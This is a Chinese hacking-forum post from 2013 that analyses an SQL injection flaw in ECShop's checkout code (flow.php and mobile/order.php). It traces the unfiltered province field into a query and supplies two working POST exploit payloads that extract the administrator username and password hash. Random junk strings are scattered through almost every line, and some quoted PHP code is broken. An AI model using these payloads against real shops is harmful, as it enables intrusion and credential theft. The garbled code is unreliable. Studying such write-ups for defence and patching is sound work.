找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1973|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
1 O. H, Y- h& I% z3 a
7 ]1 g  N3 ?! _  V3 ]$ |0 l    漏洞关键文件:- @. Z9 R+ j$ ^7 s" V- c

" S5 K: S) `) f    /includes/lib_order.php3 h* b. e+ m7 e

" ^7 I' V  b" E# f    关键函数:) U/ E; H9 \. H2 }

' f+ z6 \2 G# s% ^/ t/ Q- q
7 `. |! B7 t. A% ]; x, t0 ~: g% \5 l/ t
01     function available_shipping_list($region_id_list)
: K; L' Q5 Y: N; _' K
3 T# `3 C& B/ I7 X' o02 { # e1 A$ B1 x/ I* l! F1 ^# |

; D* P7 V2 x+ P; h' L/ o4 l03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
7 X) U7 E6 u) ^+ B
' L' J& L* X' G9 n; e$ i; M( K0 ?04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
* y) \) ^/ x! d& m& w: R5 f. A/ s2 V
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 X/ t/ J0 D+ m, e  l- Z/ ^' o) t* K* J
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
) D/ U+ B+ i' A# n! E7 o1 h2 t4 b
( P+ _  y+ ^/ o) c1 {# b07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 2 x3 P, ]! Q( \& n6 ^* c+ F9 G

; k) N; h. m5 s08             'WHERE r.region_id ' . db_create_in($region_id_list) . / H; \6 v) B+ q3 C7 q7 Z, v
8 Z1 N1 |( Z# x/ k, p
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 3 k" ^" B( Q  r! r
& q5 U6 L8 d, C" r+ O& e
10   ( F  J! i7 Y, V4 E$ B
. J. M) B. C; N8 s
11     return $GLOBALS['db']->getAll($sql);
$ y5 P% U9 T1 ^. F; _. ~
( M5 _$ |# C8 _. D12 }
% q; h, h2 A4 N$ ]+ G
8 O6 u" Y/ W/ p8 e# _9 F显然对传入的参数没有任何过滤就带入了查询语句。
+ k5 X. z* p4 ^5 i& ~9 j$ G
$ ]3 O% O8 X. n) P7 [1 M: V下面我们追踪这个函数在flow.php中:  P: \. J, H* y: H' U
第531行:   - J8 B8 M  h% [! F4 i

: X$ [' L, }2 k+ ?1 $shipping_list     = available_shipping_list($region);
; S5 U2 G/ {- k, N4 M5 a6 C, q0 z8 x4 d8 e( O) h/ F
+ h8 E: Z2 c! i8 z
( @+ q( S# A" M% q

) [  r! J! y" d5 b. K/ J0 _# I) {8 E0 w6 `$ J8 P
再对传入变量进行追踪:
  c% i& H$ y9 s
2 M5 |! F/ x3 T) J$ F第530行:    & R4 `9 b7 U+ T9 E
6 F1 a, {; T( K9 l5 K
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ) }. ?2 N; E; ^' ~6 ~  v

; U! L2 L+ F5 X+ A ) V3 z* x9 q0 G" q( F; b' `
3 o$ {% }2 \5 T! z4 r

& |9 W. [$ c5 F7 h
, k* s; _. p7 A4 s2 c+ R第473行:        
$ A: d5 }9 \# Z4 d( R% o7 H1 D$ {0 @; ?6 ^0 o
1 $consignee = get_consignee($_SESSION['user_id']); ; r) [$ B5 P: x  I! s8 ^8 A4 [/ f1 Z

! i- _  F1 f) q' k7 C/ _7 v, h/ J- P/ G到了一个关键函数:
3 t0 q, ?8 ]$ X. M
5 F: L2 O6 ]+ h) \4 T! ~; G6 |/includes/lib_order.php
5 j% Q- \# w  {4 O' R" K: S9 x
+ \" z& x4 F1 b+ i; R
0 C1 t& j0 I  T: U# f0 O; B! T/ \' U( W3 `4 P! G% d" G4 H

& @  N% _/ N2 h; S* @6 D- C: x8 @1 }
6 |1 J# B6 }4 }5 t* @; ?01 function get_consignee($user_id)
  G  }$ r; D: L  \7 Z* F1 S2 I3 J: F& z
02 { ) d! B6 C$ I; a& \) ]
+ v! Q/ e5 Y5 D0 e
03     if (isset($_SESSION['flow_consignee']))
) K  @: P* T; a5 m# {7 O
% \4 p- u8 d% j5 w04     { 0 e# S0 F, b0 w4 j, `

8 v2 k5 B' \  q0 A6 {; y) W05         /* 如果存在session,则直接返回session中的收货人信息 */
( G( D  ?3 h3 R  [2 F& g& \/ x7 |! ?: j* C$ z% [
06   
( E6 G( N+ `3 L% g6 L" p. I( r' ^& V
07         return $_SESSION['flow_consignee'];
+ ~9 I/ X1 ~- d2 e* N* [% ?
! r7 b# \8 d1 P08     } . b  I: x& k; X% F) O& F  b

5 v8 a/ ^: x! H  k09     else ! E' E) {+ e7 N- t
' M0 o/ X3 r# N7 j$ a
10     { 3 o2 _; e3 @5 u

" o  g/ M# p$ I4 U# \/ d% v: B11         /* 如果不存在,则取得用户的默认收货人信息 */ $ z' k! u. \7 ^4 o
. L' I& T- d# J1 h% Q2 D* v( j
12         $arr = array();
) h) d2 \  v3 N7 ]. ~0 u4 x: R7 S) M+ W: z
13   
3 V* X9 b% R8 p: M
( P, r* p, x& B) T9 p# S14         if ($user_id > 0) , r7 Z8 W6 X; q. N3 K. |# [

* q) s" J# P  \8 v9 D: y15         {
1 {) Z" R8 W2 @, P( q6 V! D5 S( r/ ]' p7 A
16             /* 取默认地址 */ " a& P2 ?( m( v' S' P+ Y
8 f0 F- ?) K$ h8 D$ [/ A# _
17             $sql = "SELECT ua.*". 5 H4 W6 o) V% v0 r

  d9 K3 j& t  Q18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 8 P$ R+ M. Q% b$ L6 X2 W

0 h- j# u' w! `0 A: x! i19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" b# P. E/ I9 v' q3 d/ m1 O3 ?2 K# {) E3 a7 }/ w
20   6 h* @+ t3 _% L4 A6 B. A1 j3 n
. e3 J" N3 M5 J+ A
21             $arr = $GLOBALS['db']->getRow($sql); 3 k3 x$ q3 {! \" Q

* m9 n, \5 v! [5 b2 \22         } 6 y( H5 ^+ j! U3 f7 _  `+ Q
% ?3 E, ~: k3 P" t5 z3 J2 ?$ B
23   1 w+ V1 r+ ]: ]! c
/ {( N2 a  I$ d9 g6 x# {
24         return $arr;
$ |/ ]" }' h3 u9 m
# \2 O( a; F% t/ _3 I5 t25     }
6 H. [8 y( X& G/ {# Q9 F, H; S8 i
; o+ Q7 h- o1 E26 }
( I: N/ y0 u6 y3 s! l
7 o2 Q: }7 C9 X- U; \6 {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 J! B7 `* K0 v/ t8 h$ l) m1 i, Y- U- n: d2 \& i' I3 }
! L9 g9 W  `" ^' O
' H7 @! F$ W3 ]; B8 x: M* x' d
关键点:+ R- e9 f6 c$ I4 X- I9 b
% E) H$ z2 T) |" j6 e; l" g
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
% f8 D% j7 E6 ]! T
  _: `( P, W7 i4 x* A; r! M3 N这里对传入参数反转义存入$_SESSION中。/ j; {. C( Z$ o6 j. j  l+ F: k
) G" m" S0 L1 p$ D
4 t' F, W& w* y5 k* r5 ]; O, i

  O$ Q1 j+ `4 R4 I然后看下:
& P( b- m0 R& k6 ~- s3 t
+ N2 T1 a# H, n1 d6 O/ Z6 [
! b" v! `2 w( B- K) u8 B! @+ Y- N; r: y" m% X. {, V
   
7 ]& h& V+ L9 K, e, _6 A5 _' C+ z! y8 g" E+ }
01 $consignee = array(
. l- S) j* ?5 R) l, l' U& s; ]: H# T8 S* x/ a! J* N- a: F4 T
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), " _; D& y6 y' ^7 i: i5 N
; r5 ?* ?; ?; J0 r
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), : ^/ {( l; I7 \$ y, a+ S

5 X" E  N$ W7 a04         'country'       => empty($_POST['country'])    ? '' _POST['country'], : D: Y1 d' t* M
9 k; h+ ?. `6 {, U; F  f
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
: g/ Q* Q4 E2 j1 C( t2 v6 P( n. e, c6 b  p, Q" E/ j
06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 3 _6 c6 B' V4 T; |( w7 w% b' y: _

8 g; I. P8 t# e7 ]07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
2 T4 [2 c: ^# ], x: ?5 p8 Q+ O' g' ?1 }
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
0 F# a, N) z7 v" A/ C0 ]: B" j$ Y
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
! l. |6 b* R- t6 ~+ `. [( u# p
/ Q2 X6 _. J% ]& {+ a' b5 n10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), " R8 ^3 o5 Q/ v0 D
3 m/ l( G! I& b" X" q
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
. g  Q. V2 J8 }' {- ?3 H
' f* X' O- D, V( j" E% I) M12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
5 F! l, G1 r7 G3 e9 s- Q1 t: d; B7 N$ ~
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 0 {3 N! u/ A  `2 t* N; m
0 R; m' D, _, Z; \# Q
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], + z( P% N0 v$ f  C) x$ W

' f! q& x( N! A( G; r- D15     );   U" o' m+ B) a0 q( h. w6 W& k" f
0 `4 i5 m7 \- U4 q
好了注入就这样出现了。* l; L% m" ~" `* f1 x% A

8 H: w; q  k* i: C/ u! {: F2 _==================1 I+ G/ o0 I: ?9 T3 z

- J. g  L  K+ C+ t注入测试:9 u" t8 \7 m6 V0 ?6 E

7 m; H$ S! u3 Y  q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16): X7 a2 ^& l% }0 k
+ w+ o0 j4 i1 d; K  g
测试程序:ECShop_V2.7.3_UTF8_release11068 C$ X) L, @6 s7 L- K* K
8 y1 l8 b; g$ b
9 R' U; L# g. U" o$ P5 C- c
+ Z- {0 U0 W' u$ ]/ s1 I: ]: X
1.首先需要点击一个商品加入购物车
8 y; A2 |, I" a4 T! I: C8 [6 T# ^
2.注册一个会员帐号
) w) Y- K8 ?! {- D1 [
! G: N. a( j4 y  ]3.post提交数据  t6 Z! N. Q0 w! V
8 q9 m9 K" z2 V' O: Q* g% y; R
4 h6 t# d% p5 ?1 {5 F5 }
- n, R5 g6 a3 z, Z( o, h, v$ Q3 E
1 http://127.0.0.1/ecshop/flow.php 1 T1 J! O! [) v  j& n
4 H1 F; r5 `) U4 a: f) j1 }  ?0 f
2   
4 B" `7 R4 K4 _  D8 d
; A& F9 d, R3 Z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( P- ?# h) T; I+ f; ^: @举一反三,我们根据这个漏洞我们可以继续深入挖掘:) g9 R+ j" H. H

8 j0 S7 G  d8 w我们搜寻关键函数function available_shipping_list()
9 i& l2 |$ p/ K% b& m; s/ L; B2 t: Q9 l2 u& C
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
, `; J9 @: k% ?+ e* m% [& V2 [! }8 P* v) _
利用exp:
2 [# t& q6 ^+ ?( ^
. v* v1 M0 j& F' f3 k1 Z1 k1.点击一个商品,点击购买商标) \9 ^4 A, ?3 H# L: D

/ Q7 z" [2 c6 C9 f# }2.登录会员帐号9 W- a) G' X- M- O- E- e

# Y3 m1 {) n3 G8 ~/ X/ {5 A3.post提交:
, Q: r+ J$ m+ E7 H+ d5 R! w! ?# M" u  A7 N  D
http://127.0.0.1/ecshop/mobile/order.php$ O7 ~7 z- f5 K9 i: A

( y: W. h0 I+ n
3 Y  v" [7 k) N9 q7 q& w0 X% w1 @$ v5 p" Q* C
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
( Z5 I' y+ [$ @5 s
5 H3 e7 Q' ~. s1 o$ q" g6 A  Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表